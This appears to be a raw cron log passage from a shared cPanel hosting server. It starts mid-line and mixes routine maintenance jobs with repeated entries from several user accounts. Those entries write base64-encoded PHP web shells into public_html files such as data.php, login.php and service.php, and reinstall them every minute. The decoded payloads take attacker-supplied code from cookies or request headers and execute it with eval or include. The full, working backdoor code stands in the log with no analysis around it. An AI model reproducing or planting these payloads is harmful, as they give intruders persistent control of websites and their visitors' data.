F93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:28:01 medusa CROND[14765]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:28:01 medusa CROND[14771]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:28:01 medusa CROND[14772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:28:01 medusa CROND[14774]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:28:01 medusa CROND[14775]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 08:28:01 medusa CROND[14776]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:28:01 medusa CROND[14784]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:28:01 medusa CROND[14792]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:28:01 medusa CROND[14793]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:29:01 medusa CROND[30497]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 08:29:01 medusa CROND[30666]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 08:29:01 medusa CROND[30672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:29:01 medusa CROND[30671]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:29:01 medusa CROND[30673]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:29:01 medusa CROND[30678]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:29:01 medusa CROND[30679]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:29:01 medusa CROND[30685]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:29:01 medusa CROND[30684]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:29:01 medusa CROND[30689]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:29:01 medusa CROND[30682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:29:01 medusa CROND[30690]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:29:01 medusa CROND[30691]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:30:01 medusa CROND[15070]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 08:30:01 medusa CROND[15073]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 08:30:01 medusa CROND[15074]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 08:30:01 medusa CROND[15075]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 08:30:01 medusa CROND[15076]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Mar  2 08:30:01 medusa CROND[15077]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:30:01 medusa CROND[15081]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 08:30:01 medusa CROND[15089]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 08:30:01 medusa CROND[15090]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:30:01 medusa CROND[15093]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:30:01 medusa CROND[15097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:30:01 medusa CROND[15095]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 08:30:01 medusa CROND[15088]: (root) CMD (/nutscripts/filtroh > /dev/null 2>&1)
Mar  2 08:30:01 medusa CROND[15107]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 08:30:01 medusa CROND[15109]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:30:01 medusa CROND[15110]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 08:30:01 medusa CROND[15112]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 08:30:01 medusa CROND[15114]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 08:30:01 medusa CROND[15113]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
